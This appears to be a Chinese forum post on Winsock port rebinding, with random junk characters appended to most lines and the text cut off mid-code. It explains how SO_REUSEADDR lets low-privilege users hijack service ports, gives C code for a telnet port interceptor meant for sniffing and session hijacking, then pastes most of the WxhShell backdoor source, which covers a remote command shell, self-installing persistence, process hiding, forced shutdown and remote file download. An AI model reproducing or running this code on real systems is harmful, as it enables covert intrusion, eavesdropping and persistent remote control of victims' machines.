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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RTRi{p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (YH/#n1"{  
(GI]Uyn  
  saddr.sin_family = AF_INET; vQIN#;m4  
y<A%&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KHJk}]K  
rE&+fSBD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f6zS_y9gn  
JW-!m8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F(#~.i  
O)Mf/P'  
  这意味着什么?意味着可以进行如下的攻击: u.Z,HsEOb  
@O%d2bgEWV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e3b|z.^8  
6`l7saHXE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l9X\\uG&  
lc2RMu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FkJX)  
J=C63YB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =FtJa3mHK  
{f<\`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cPm-)/E)i  
a#o6Nv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OGqsQ  
,%%}d9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v9R"dc]0h  
F_&bE@k  
  #include O F CA~sR  
  #include v5N2$Sqp*  
  #include {-?8r>  
  #include    0x/3Xz  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ~ok i s  
  int main() xMAb=87_  
  { cXo^.u  
  WORD wVersionRequested; Zc9j_.?*  
  DWORD ret; T11;LSD  
  WSADATA wsaData; pRLs*/Bw  
  BOOL val; X ?lF,p  
  SOCKADDR_IN saddr; czv )D\*  
  SOCKADDR_IN scaddr; =YRN"  
  int err; SS/t8Y4W  
  SOCKET s; SJdi*>  
  SOCKET sc; bR;Zc  
  int caddsize; +)gXU Vwd  
  HANDLE mt; 3Ta<7tEM  
  DWORD tid;   Cq-#| +zr  
  wVersionRequested = MAKEWORD( 2, 2 ); Ud8*yB  
  err = WSAStartup( wVersionRequested, &wsaData ); ,@'M'S  
  if ( err != 0 ) { xFY< ns  
  printf("error!WSAStartup failed!\n"); Udh!%QP%[w  
  return -1; 6Y[|xu:N8Y  
  } QP?Deltp  
  saddr.sin_family = AF_INET; $=-Q]ld&]  
   5Si\hk:o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vt!<.8&`  
e;/C}sK:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IAJYD/Y&?  
  saddr.sin_port = htons(23); |rbl sL2?Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;y{VdT  
  { 4fCg{  
  printf("error!socket failed!\n"); :<$IGzw}.  
  return -1; X&qa3C})  
  } 3]9twfF 'J  
  val = TRUE; P_w\d/3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X;?Z_3I:5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) * (4TasQu  
  { 4JD 8w3u/  
  printf("error!setsockopt failed!\n"); GqrOj++>  
  return -1; &PAgab2$  
  }  !&Z,ev  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; khW9n*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !tNJLOYf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pM i w9}  
k9^Vw+$m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Rkldv'  
  { d$G<g78D  
  ret=GetLastError(); b:iZ.I  
  printf("error!bind failed!\n"); _>moza  
  return -1; 7Z;w<b~  
  } l?/.uNw  
  listen(s,2); 8zRb)B+  
  while(1) joN}N}U  
  { $.z~bmH"D  
  caddsize = sizeof(scaddr); +HK)A%QI  
  //接受连接请求 D-8>?`n\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zTa>MzH1-;  
  if(sc!=INVALID_SOCKET) `>q|_w \e  
  { B az:N 6u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s\`Vr;R:|  
  if(mt==NULL)  yq ?_#r  
  { .2b) rKo~  
  printf("Thread Creat Failed!\n"); ^!*?vHx:  
  break; ClHaR  
  } H<SL=mb;  
  } p ]zYj >e  
  CloseHandle(mt); >Ufjmm${  
  } ikGH:{  
  closesocket(s); 1x07ua@(v  
  WSACleanup(); &E{5k{Y  
  return 0; ')9%eBaeK  
  }   0)8QOTeT  
  DWORD WINAPI ClientThread(LPVOID lpParam) ItTIU  
  { aqb;H 'F  
  SOCKET ss = (SOCKET)lpParam; jj)9jU z  
  SOCKET sc; !k&~|_$0@  
  unsigned char buf[4096]; Te8BFcJG  
  SOCKADDR_IN saddr; id-VoHd K  
  long num; !j(KbAhWZ  
  DWORD val; 9 @yP;{Q  
  DWORD ret; bw7!MAXd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %;0w2W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fxDY:l  
  saddr.sin_family = AF_INET; 3_atv'I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~PNO|]8j  
  saddr.sin_port = htons(23); ?CS jn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?;,Al`/^  
  { '^l/e: (H3  
  printf("error!socket failed!\n"); G5Ci"0  
  return -1; 1q!JpC^  
  } c= 2e?  
  val = 100; $p4aNC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {zGIQG9  
  { K)qbd~<\  
  ret = GetLastError(); v.1= TBh  
  return -1; xLZQ\2q  
  } lxK_+fj q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g[;iVX^1&  
  { f*~ 4Kv  
  ret = GetLastError(); LoG@(g&)  
  return -1; Yi[dS`,d  
  } F_~-o,\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ucj)t7O   
  { JXeqVKF  
  printf("error!socket connect failed!\n"); Kfj*uzKB  
  closesocket(sc); <LW|m7  
  closesocket(ss); s8|#sHT  
  return -1; A*pihBo7  
  } e>t9\vN#bx  
  while(1) bq4H4?j  
  { K74oRKv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .;tO;j |6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uz4mHyS6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4C /8hsn  
  num = recv(ss,buf,4096,0); nRQIrUNq  
  if(num>0) .bl0w"c^qq  
  send(sc,buf,num,0); g]xZ^M+  
  else if(num==0) ~,e!t.339  
  break; t%z7#}9$  
  num = recv(sc,buf,4096,0); >*}qGk  
  if(num>0) BH0rT})  
  send(ss,buf,num,0); U30)r+&  
  else if(num==0) V8Q#%#)FHe  
  break; 5?kA)!|UB  
  } 8{+~3@T  
  closesocket(ss); z s"AYxr  
  closesocket(sc); >`NY[Mn  
  return 0 ; b=T+#Jb  
  } z K8#gif@  
oz5o=gt7  
ID+'$u &  
========================================================== 3r em"M  
29ft!R>[  
下边附上一个代码,,WXhSHELL e( ^9fg_SG  
`^J~^Z7Y-  
========================================================== qd|*vE  
CES FkAj~  
#include "stdafx.h" ! T,7  
0]oQ08  
#include <stdio.h> a`pY&xq::  
#include <string.h> eZHzo  
#include <windows.h> <Awx:lw.  
#include <winsock2.h> 0K3FH&.%  
#include <winsvc.h> ($(1KE  
#include <urlmon.h> *vAOUqX`x  
e3>Re![_.  
#pragma comment (lib, "Ws2_32.lib") -N\{QX1Yd  
#pragma comment (lib, "urlmon.lib") K[sM)_I  
)Elr8XLw  
#define MAX_USER   100 // 最大客户端连接数 9jPb-I-   
#define BUF_SOCK   200 // sock buffer 2Bjp{)*  
#define KEY_BUFF   255 // 输入 buffer 'fA D Dh}  
9_>4~!x`  
#define REBOOT     0   // 重启 M<$l&%<`G  
#define SHUTDOWN   1   // 关机 4\OELU  
Ok`U*j  
#define DEF_PORT   5000 // 监听端口 ,IJNuu\  
''v1Pv-  
#define REG_LEN     16   // 注册表键长度 Xi{(1o4%  
#define SVC_LEN     80   // NT服务名长度 8&C(0H]1  
*VlYl"  
// 从dll定义API H4:TYh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DpS6>$v8t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o mjLQp[%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ONjc},_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .V.N^8(:a  
dY-a,ch"8p  
// wxhshell配置信息 `f'q/  
struct WSCFG { fd,~Yj$R?  
  int ws_port;         // 监听端口 a+~o: 5  
  char ws_passstr[REG_LEN]; // 口令 lwg.'<  
  int ws_autoins;       // 安装标记, 1=yes 0=no Lv^j l  
  char ws_regname[REG_LEN]; // 注册表键名 \7j)^  
  char ws_svcname[REG_LEN]; // 服务名 kxn;;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qBNiuV;*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >rFvT>@NU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % 9D@W*Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /3TorB~Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BkZ%0rw%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CXQ ?P  
8S02 3  
}; AX,Db%`l,  
M<p)@p  
// default Wxhshell configuration UUU^YT \  
struct WSCFG wscfg={DEF_PORT, C95,!q  
    "xuhuanlingzhe", p 5o;Rvr  
    1, 8_,ZJ9l ;  
    "Wxhshell", <C>i~ <`d  
    "Wxhshell", _(z"l"l=$  
            "WxhShell Service", iE Oyc59  
    "Wrsky Windows CmdShell Service", j d8 1E  
    "Please Input Your Password: ", OXacI~C  
  1, *(scSC>  
  "http://www.wrsky.com/wxhshell.exe", r#Fu<so,  
  "Wxhshell.exe" qJ/C*Wqic  
    }; 5,c`  
V0AX1?H~w  
// 消息定义模块 !xc7~D@om(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y^A $bTQq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Pa(nUE@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *=7[Ip< X  
char *msg_ws_ext="\n\rExit."; K?tk&0  
char *msg_ws_end="\n\rQuit."; p_AV3   
char *msg_ws_boot="\n\rReboot..."; \S<5b&G  
char *msg_ws_poff="\n\rShutdown..."; O+8`.  
char *msg_ws_down="\n\rSave to "; Ax^'unfQ:  
h[8y$.YsC  
char *msg_ws_err="\n\rErr!"; 1%@~J\qF  
char *msg_ws_ok="\n\rOK!"; tQ~B!j]  
0 \#Q;Z2  
char ExeFile[MAX_PATH]; @ tIB'|O  
int nUser = 0; |:#mw 1  
HANDLE handles[MAX_USER]; i`SF<)M(  
int OsIsNt; 31* 6 ;(  
f lB,_  
SERVICE_STATUS       serviceStatus; o/zCXZnw#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HxMsH5;  
0l=}v%D  
// 函数声明 :}JZKj!}M  
int Install(void); =e;wEf%`  
int Uninstall(void); uf^:3{1  
int DownloadFile(char *sURL, SOCKET wsh); ".)_kt[  
int Boot(int flag); O$H150,Q  
void HideProc(void); _'7/99]4g}  
int GetOsVer(void); +Y~+o-_  
int Wxhshell(SOCKET wsl); *mQit/ k.  
void TalkWithClient(void *cs); 'm cJ/9)v  
int CmdShell(SOCKET sock); |u{QI3#'  
int StartFromService(void); g,:N zb  
int StartWxhshell(LPSTR lpCmdLine); `g1Oon_  
]1&9~TL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QB[s8"S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I5L7BTe  
ja;5:=8A5  
// 数据结构和表定义 -"e}YN/  
SERVICE_TABLE_ENTRY DispatchTable[] = &XsLp&Do2  
{ x3s^u~C)(w  
{wscfg.ws_svcname, NTServiceMain}, +I<Sq_-  
{NULL, NULL} faq K D:  
}; #FB>}:L{h*  
vVYduvw  
// 自我安装 +_eb*Z`5o  
int Install(void) pNlisS  
{ $)3PF  
  char svExeFile[MAX_PATH]; X6.O ;  
  HKEY key; \`zG`f  
  strcpy(svExeFile,ExeFile); w4'K2 7  
uB1!*S1f  
// 如果是win9x系统,修改注册表设为自启动 fqb$_>3Ol  
if(!OsIsNt) { X^Y9T`mQ}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pCmJY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k Ml<  
  RegCloseKey(key); uC(S`Q[Bg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N >!xedw=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `&_k\/  
  RegCloseKey(key); ge?-^s4M  
  return 0; <~M9 nz(<  
    } l,u{:JC  
  } @'*#]YU8  
} CLfb`rF  
else { $-]setdY  
JJ?ri,  
// 如果是NT以上系统,安装为系统服务 wWw/1i:|'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k_n{Mss'9  
if (schSCManager!=0) A{2$hKqHi  
{ RuNH (>Eb  
  SC_HANDLE schService = CreateService ennz/'  
  ( ~5uNw*H  
  schSCManager, %-/:ps  
  wscfg.ws_svcname, t4/eB<fP  
  wscfg.ws_svcdisp, 5"am>$rh  
  SERVICE_ALL_ACCESS,  #U52\3G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X-$td~r  
  SERVICE_AUTO_START, eH955[fVd4  
  SERVICE_ERROR_NORMAL, Sqf.#}u<=  
  svExeFile, KN:dm!A  
  NULL, IKDjatn  
  NULL, t!SQLgA  
  NULL, E$tk1SVo  
  NULL, 3Z:!o$  
  NULL [ |n-x3h  
  ); (eG]Cp@  
  if (schService!=0) R6Mxdm2P}  
  { $pfe2(8  
  CloseServiceHandle(schService); $Ds]\j*  
  CloseServiceHandle(schSCManager); 5?L:8kHsH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j!MA]0lTM  
  strcat(svExeFile,wscfg.ws_svcname); )75yv<L2S,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]8>UII,US  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 37- y  
  RegCloseKey(key); hav?mnVJ  
  return 0; 0^.4eX:E_  
    } 2{kfbm-89t  
  } u7zB9iQ&  
  CloseServiceHandle(schSCManager); SE )j}go  
} G=!bM(]R~  
} {2k< k(,  
xO<-<sRA  
return 1; 0nz@O^*g(  
} &IEBZB\/+&  
G\N"rG=  
// 自我卸载 T 0v@mXBQ  
int Uninstall(void) B"8JFf}"q  
{ dU>R<jl!$  
  HKEY key; fyq] M_5  
`V):V4!j),  
if(!OsIsNt) { uxMy 1oy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Mn7`i  
  RegDeleteValue(key,wscfg.ws_regname); &iiK ZZ`_o  
  RegCloseKey(key); \1`DaQp7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W/r?0E  
  RegDeleteValue(key,wscfg.ws_regname); |z|)r"*\4  
  RegCloseKey(key); =R;1vUio  
  return 0; vYR=TN=Z4  
  } iC|6roO!jk  
} Ed&,[rC  
} m)|.:sj  
else { ZYR,8y  
aQ&8fteFR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0?Tk* X  
if (schSCManager!=0) o%^k T&  
{ 5?{ >9j5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2}`Vc{\  
  if (schService!=0) g1 Wtu*K3  
  { yp2'KES>  
  if(DeleteService(schService)!=0) { },EUcVXk  
  CloseServiceHandle(schService); a.}:d30  
  CloseServiceHandle(schSCManager); 4R*<WdT(  
  return 0; m wEVEx24  
  } lmtQr5U  
  CloseServiceHandle(schService); z@l!\m-  
  } K~y9zF{  
  CloseServiceHandle(schSCManager); TaQ "G  
} aEFe!_QY  
} w HHF=Q  
w[ YkTv  
return 1; v`+n`DT  
} vgQhdtt  
kk_9G -M  
// 从指定url下载文件 me[J\MJ;w^  
int DownloadFile(char *sURL, SOCKET wsh) ghobu}wuF  
{ )_X xk_  
  HRESULT hr; COan) <Ku  
char seps[]= "/"; n L+YL  
char *token; W:{PBb"x8  
char *file; V:G}=~+=  
char myURL[MAX_PATH]; x#F1@r8R  
char myFILE[MAX_PATH]; xH`j7qK.  
iZ.&q 6  
strcpy(myURL,sURL); kf^-m/  
  token=strtok(myURL,seps); *@G(3 n  
  while(token!=NULL) 0'%+X|  
  { 4-d99|mv  
    file=token; zN)|g  
  token=strtok(NULL,seps); g=oeS%>E  
  } 76IALJ00V  
q0b`HD  
GetCurrentDirectory(MAX_PATH,myFILE); !|Xl 8lV`  
strcat(myFILE, "\\"); Ic{'H2~4,  
strcat(myFILE, file); B=q)}aWc  
  send(wsh,myFILE,strlen(myFILE),0); 71 L\t3fG  
send(wsh,"...",3,0); ."F'5eTT~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m.HX2(&\3  
  if(hr==S_OK) -@ UN]K  
return 0; J]|6l/i  
else K.#,O+-Kg`  
return 1; fV A=<:  
cFI7}#,5  
} ek(kY6x:  
:@QK}qFP  
// 系统电源模块 CFkW@\]  
int Boot(int flag) fbHWBb  
{ TRySl5jx@  
  HANDLE hToken; , Y g5X  
  TOKEN_PRIVILEGES tkp; DX&lBV  
zO).<xIq+  
  if(OsIsNt) { A4#3O5kij  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mV**9-"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8t T&BmT  
    tkp.PrivilegeCount = 1; GLaZN4`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s.p1L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EvSnZB1 y  
if(flag==REBOOT) { C>JekPeM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x  tYV"  
  return 0; $K6?(x_  
} $/<"Si&(  
else { i)@U.-*5m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <@U.   
  return 0; j1;_w  
} ?O<`h~'$+  
  } cYq']$]  
  else { vR%j#v|s  
if(flag==REBOOT) { 1IOo?e=/bM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _gPVmGG  
  return 0; 2<y}91N:  
} n!kk~65|  
else { XQ0#0<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u5cVz_S  
  return 0; W2F +^  
} Nh1e1m?  
} ?dJ/)3I%F  
t`<}UWAH+  
return 1; u|m[(-`  
} #RR:3ZP ZC  
>+Sv9S  
// win9x进程隐藏模块 V_+}^  
void HideProc(void) F.~n  
{ )){PBT}t]  
zqHpT^B?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pIID= 8RJ.  
  if ( hKernel != NULL ) [|:QE~U@  
  { ~8H&m,{j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1R'u v4e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3:]{(@J  
    FreeLibrary(hKernel); Gsds!z$  
  } q:`77  
7gVh!rm  
return; J^+_8  
} x38SSzG:L  
tsTR2+GZS  
// 获取操作系统版本 >u9id>+  
int GetOsVer(void) LPq*ZZK  
{ iX8h2l  
  OSVERSIONINFO winfo; a' IX yj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 71k!k&Im  
  GetVersionEx(&winfo); KXoL,)Hl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'h!h!  
  return 1; ULp)T`P  
  else bc3|;O  
  return 0; [+hy_Nc$  
} Ij;==f~G  
Whv]88w{  
// 客户端句柄模块 HpB!a,R6B  
int Wxhshell(SOCKET wsl) 7>nhIp))  
{ +8LM~voB  
  SOCKET wsh; :Az8K)  
  struct sockaddr_in client; ttK,((=@  
  DWORD myID; =&di4'`  
b34zhZ  
  while(nUser<MAX_USER) }G>v]bV0V  
{ Ez06:]Jd  
  int nSize=sizeof(client); |_l<JQvf`E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0OleO9Ua  
  if(wsh==INVALID_SOCKET) return 1; B,~f "  
);Tx5Z}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P1(8U%   
if(handles[nUser]==0) 9nT?|n]>  
  closesocket(wsh); kJ%{ [1fr  
else gIV3n#-{L  
  nUser++; 52>[d3I3  
  } 4mEzcwo'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Nj'OJSj%  
8q_1(& O  
  return 0; JfI aOhKs]  
} .o-0aBG  
C/mg46 v2W  
// 关闭 socket Hnfvo*6d.e  
void CloseIt(SOCKET wsh) ]*bAF^8i  
{ Jz~+J*r;]A  
closesocket(wsh); kmZ.U>#  
nUser--; Y*5Z)h 1  
ExitThread(0); [NQmL=l  
} jK3giT  
T$:>*  
// 客户端请求句柄 |?\gEY-Se  
void TalkWithClient(void *cs) ,]0S4h67  
{ pp/#Am  
Na\3.:]z  
  SOCKET wsh=(SOCKET)cs; >nc4v6s  
  char pwd[SVC_LEN]; ^dFh g_GhF  
  char cmd[KEY_BUFF]; s9uL<$,'  
char chr[1]; C}n'>],p  
int i,j; ~Y\QGuT  
^{),+S  
  while (nUser < MAX_USER) { [yO=S0 e  
3CA|5A.Pa  
if(wscfg.ws_passstr) { RxlszyE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zw2jezP@t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fp9rO}##  
  //ZeroMemory(pwd,KEY_BUFF); W\HLal  
      i=0; W;^Rx.W  
  while(i<SVC_LEN) { "4 'kb  
[<_"`$sm=  
  // 设置超时 MB1sQReOO  
  fd_set FdRead; }16&1@8  
  struct timeval TimeOut; 3Z_t%J5QZ$  
  FD_ZERO(&FdRead); WLE%d]'%M  
  FD_SET(wsh,&FdRead); (F/HU"C  
  TimeOut.tv_sec=8;  `>%-  
  TimeOut.tv_usec=0; V@B7 P{gH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \s,Iz[0Vfz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7@FDBjq  
3}08RU7[!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )\8URc|J  
  pwd=chr[0]; cN62M=**  
  if(chr[0]==0xd || chr[0]==0xa) { 66/Z\H^d  
  pwd=0; E^7C _JP  
  break; DP|TIt,Rl  
  } "]v uD  
  i++; ,o BlJvm  
    } : aHcPc:  
U?^OD  
  // 如果是非法用户,关闭 socket lco~X DI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^SEc./$  
} Tj Mb>w9  
DG3[^B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D`en%Lf!m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |pBMrN+is  
5f8"j$Az  
while(1) { +Dd"41  
v5B" A"N  
  ZeroMemory(cmd,KEY_BUFF); n;%y  
6*sw,sU[y  
      // 自动支持客户端 telnet标准   q1H~ |1  
  j=0; 9t#P~>:jY}  
  while(j<KEY_BUFF) { t @;WgIp(&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7LG+$LEz  
  cmd[j]=chr[0]; ZOp^`c9~  
  if(chr[0]==0xa || chr[0]==0xd) { oL#xDG  
  cmd[j]=0; +a #lofhv  
  break; Gv;;!sZ  
  } Jff 79)f  
  j++; JwjI{,jY  
    } Rl1$?l6Rf  
`ovgWv  
  // 下载文件 &D]&UQf  
  if(strstr(cmd,"http://")) { 5qC:yI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }X.>4\B5  
  if(DownloadFile(cmd,wsh)) 3!>/smb !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&&9  
  else uWh|C9Y!A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) 9MrdVNv  
  } F%Kp9I*  
  else { Mxo6fn6-46  
h!v/s=8c  
    switch(cmd[0]) { '5AvT: ^u  
  r?\|f:M3  
  // 帮助 )AJ=an||5  
  case '?': { wEE2a56L-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6p#g0t  
    break; I'dj.  
  } +GYS26  
  // 安装 W+.{4 K  
  case 'i': { inZi3@h)T  
    if(Install()) jM]d'E?ZLA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ALfiR(!  
    else wra byRjK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ka#K [qI  
    break; t}VwVf<K  
    } 6%E~p0)i%  
  // 卸载 :\ mRtVH  
  case 'r': { k}HQq_Y(<  
    if(Uninstall()) vu<#wW*9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|X7 n~  
    else n08; <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Xyte  
    break; BB63x Ex  
    } .9OFryo  
  // 显示 wxhshell 所在路径 IfMpY;ow=  
  case 'p': { 9qr UM`z$g  
    char svExeFile[MAX_PATH]; Z^*NnL.'  
    strcpy(svExeFile,"\n\r"); )yrAov\z*  
      strcat(svExeFile,ExeFile); ./7v",#*.'  
        send(wsh,svExeFile,strlen(svExeFile),0); Sl"BK0:%7  
    break; K^aj@2K{  
    } }"n7~|  
  // 重启 qi&D+~Gv!  
  case 'b': { Ib6(Bp9.L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d/]|657u  
    if(Boot(REBOOT)) k1#5nYN.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -6`;},Yr  
    else { a8zZgIV  
    closesocket(wsh); nkRK +~>  
    ExitThread(0); E?cZ bn*>`  
    } L<=)@7  
    break; (UGol[f<  
    } f TO+ZTRqf  
  // 关机 O#:&*Mv  
  case 'd': { =JW[pRI5a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AWT"Y4Ie  
